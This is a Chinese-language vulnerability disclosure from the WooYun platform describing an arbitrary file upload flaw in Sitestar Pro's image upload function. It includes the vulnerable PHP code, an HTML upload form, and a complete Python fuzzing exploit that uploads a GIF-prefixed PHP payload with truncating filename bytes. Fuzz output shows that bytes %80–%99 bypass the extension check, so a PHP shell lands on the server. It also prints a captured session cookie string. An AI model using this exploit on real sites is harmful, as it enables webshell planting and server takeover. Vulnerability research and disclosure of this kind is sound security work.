漏洞详情

披露状态:

2014-01-08: 细节已通知厂商并且等待厂商处理中
2014-01-13: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-04-05: 细节向公众公开

简要描述:

GOOGLE翻来翻去 #$%^&^&*
Q:只能通过"%00"、"?"、"///////////....//////"才能截断? 是真的吗?
A: 答案是肯定的:NO!NO!NO!
只有实践才能出真知!GO...

详细说明:

#1 Sitestar

美橙互联又一力作,建站之星专业版(Sitestar Pro),

无拘无束,信手拈来,创意无限,不拘一格,轻松创建属于您自己的网站!



#2 漏洞的产生

/module/mod_tool.php 第89行起,img_create()函数

public function img_create() {
$file_info =& ParamHolder::get('img_name', array(), PS_FILES);
if ($file_info['error'] > 0) {
Notice::set('mod_marquee/msg', __('Invalid post file data!'));
Content::redirect(Html::uriquery('mod_tool', 'upload_img'));
}
//exit($file_info["name"]);
if(!preg_match('/\.('.PIC_ALLOW_EXT.')$/i', $file_info["name"])) {
//echo '2222';
Notice::set('mod_marquee/msg', __('File type error!'));
Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));
}
if(file_exists(ROOT.'/upload/image/'.$file_info["name"])) {
$file_info["name"] = Toolkit::randomStr(8).strrchr($file_info["name"],".");
}
if (!$this->_savelinkimg($file_info)) {
Notice::set('mod_marquee/msg', __('Link image upload failed!'));
Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));
}



上述关键的代码

if(!preg_match('/\.('.PIC_ALLOW_EXT.')$/i', $file_info["name"])) {
Notice::set('mod_marquee/msg', __('File type error!'));
Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));
}



其中 PIC_ALLOW_EXT 为 gif|jpg|png|bmp 即如果文件名最后不是gif|jpg|png|bmp,则提示文件类型错误

我们继续往下看...

if (!$this->_savelinkimg($file_info)) {
Notice::set('mod_marquee/msg', __('Link image upload failed!'));
Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));
}



跟进_savelinkimg函数 736行-741行

private function _savelinkimg($struct_file) {
$struct_file['name'] = iconv("UTF-8", "gb2312", $struct_file['name']);
echo $struct_file['name'];
move_uploaded_file($struct_file['tmp_name'], ROOT.'/upload/image/'.$struct_file['name']);
return ParamParser::fire_virus(ROOT.'/upload/image/'.$struct_file['name']);
}



其中我们关心的是move_uploaded_file函数

move_uploaded_file($struct_file['tmp_name'], ROOT.'/upload/image/'.$struct_file['name']);



看见没有,直接用我们上传的的文件名作为最终写进硬盘的文件名

到这里,我们可以简单对其进行利用

上传类似如下文件:shell.php;.jpg 或shell.php.a;.jpg 利用解析漏洞即可利用,但这并不是我们今天所要讲的内容,SO 继续....

#3 尝试漏洞利用

既然文件名是我们上传的文件名,那我们用截断上传试试呢...

首先我们尝试最最最常用的截断方法: %00

为方便调试,我们加入调试代码

if(!preg_match('/\.('.PIC_ALLOW_EXT.')$/i', $file_info["name"])) {
exit("Error,不能截断.");//调试代码
Notice::set('mod_marquee/msg', __('File type error!'));
Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));
}



同时将如下代码保持为sitestar.htm

<form id="Upload" enctype="multipart/form-data" action="http://www.vulns.org/sitestar/index.php?_m=mod_tool&_a=img_create" method="post">
<input type="file" name="img_name" id="img_id" size="50">
<input id="btnUpload" type="submit" value="Upload">
</form>



打开sitestar.htm,Burpsuite抓包 采用%00截断:

1.jpg



输出了我们的调试代码

2.jpg



看见了吧,不能成功的被截断,那我们是不是就到此为止了呢? 显然 答案是NO!

额 !!想起来了...我们都知道Fuzzing很强大... SO 继续吧...

漏洞证明:

#4 Fuzzing成功利用

丢一真理:实践出真知,各位看官们 眼睛睁大了...

为了能Fuzzing,看来还得码代码啊,首先抓个上传的包,方便代码中用

这里我们用py写Fuzzing的代码,好吧 我已经给各位写好啦

#D:\Python27\python.exe
#coding = utf-8

import os
import re
import sys
import random
import urllib2
import urllib

def hex_to_asc(ch):
return '{:c}'.format(int(float.fromhex(ch)))

def rand5str(num):
sts = ''
char = '1234567890abcdexyz'
for i in range(num):
sts += random.choice(char)
return sts

def postdata(strr):
global sname
sname = rand5str(8)
data = '------WebKitFormBoundaryFz8xcpseXipPJz6Q\r\n'
data +='Content-Disposition: form-data; name="img_name"; filename="%s.php%s;a.gif"\r\n' % (sname,strr)
data +='Content-Type: image/gif\r\n'
data +='\r\n'
data +='GIF89a<script language=\'php\'>\r\n'
data +='phpinfo();\r\n'
data +='------WebKitFormBoundaryFz8xcpseXipPJz6Q--\r\n'
return data

def Fuzzing(mstr,url,cookie):
posturl = "%s/sitestar/index.php?_m=mod_tool&_a=img_create" % url
headers = {
'User-Agent' : 'Googlebot/2.1 (+http://www.google.com/bot.html)',
'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundaryFz8xcpseXipPJz6Q',
'Cookie': cookie
}
hexstr = hex_to_asc(mstr)
posts = postdata(hexstr)
request = urllib2.Request(posturl, posts, headers)
response = urllib2.urlopen(request)
htmls = response.read()
response.close()

fuzzurl = "%s/sitestar/upload/image/%s.php" % (url,sname)
try:
resp = urllib2.urlopen(fuzzurl)
html = resp.read()
reg = re.search(r'<style type="text/css">',html)
if reg is not None:
print '%%%s is --> OK..' % mstr
except:
print '%%%s is -> No..' % mstr

if __name__=="__main__":
if len(sys.argv)<4:
print '\n sitestar_upload.py -u <url> -c <cookie>'
os._exit(0)
url = sys.argv[2]
cookie = sys.argv[4]
if 'http://' not in url:
url = 'http://%s'%url

for i in range(100):
s = '%02d' % i
Fuzzing(s,url,cookie)



#5 Fuzzing动起来

step1 首先注册个用户名

step2 登陆后 抓下Cookie

step3 打开CMD,哈哈...

我们的cookie如下

Rya5_2132_ulastactivity=f6159i9gE3RqKLgf5IFeEYMgRbch8XHcq8L9yjKdgdcklNzyHcuG; sYQDUGqqzHsearch_history=dd%7C3; CNZZDATA1754403=cnzz_eid%3D239727152-1385000911-http%253A%252F%252Fwww.vulns.org%26ntime%3D1385000911%26cnzz_a%3D12%26sin%3Dhttp%253A%252F%252Fwww.vulns.org%253A81%252Fgover1%252FSearch.asp%26ltime%3D1385000907409; _cnzz_CV=; language=zh-cn; A29_visitedfid=2; smile=1D1; YlsN_2132_saltkey=BCq0w3j3; YlsN_2132_lastvisit=1386810963; YlsN_2132_visitedfid=2; YlsN_2132_lastcheckfeed=1%7C1386898405; YlsN_2132_editormode_e=1; YlsN_2132_smile=1D1; K5PL3_uid=1; K5PL3_hash=0a4d70e0; YlsN_2132_ulastactivity=e35dE3Tw1Tk%2B%2B9ATPf1vuCQDDPhyih4eFcdTHjOURWXVg8tD0n%2Br; rRex_2132_saltkey=3w13193y; rRex_2132_lastvisit=1388735738; rRex_2132_ulastactivity=6b208R0hVUACRQvTjn7En9kDuyvN7ZNRftXROrgtEy6kLy8zzU4j; _mkto_trk=id:797-ENI-742&token:_mch-vulns.org-1388719339154-91284; __ar_v4=DDRUVU4CRNEHLB3NYFC2PH%3A20140102%3A2%7C5PZND6KU6RD4RAHEGDPE5S%3A20140102%3A2%7CJIFJRAFWAJHHRE57MKUYU2%3A20140102%3A2; PHPSESSID=d413af28abd2a8fd38e670cbcca23ee4



打开CMD Fuzzing 跑起来...

%77 is -> No..
%78 is -> No..
%79 is -> No..
%80 is --> OK..
%81 is --> OK..
%82 is --> OK..
%83 is --> OK..
%84 is --> OK..
%85 is --> OK..
%86 is --> OK..
%87 is --> OK..
%88 is --> OK..
%89 is --> OK..
%90 is --> OK..
%91 is --> OK..
%92 is --> OK..
%93 is --> OK..
%94 is --> OK..
%95 is --> OK..
%96 is --> OK..
%97 is --> OK..
%98 is --> OK..
%99 is --> OK..



看见了吧,%80 --- %99都可以截断

3.jpg



生成的文件如图(路径:upload/image)

4.jpg



看见了吧,shell.php 就躺在对方的硬盘里了...

#6 Fuzzing成功

6.jpg



#7 大家Fuzzing动起来吧...

修复方案:

不多说.

版权声明:转载请注明来源 felixk3y@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-01-13 17:09

厂商回复:

最新状态:

暂无


漏洞评价: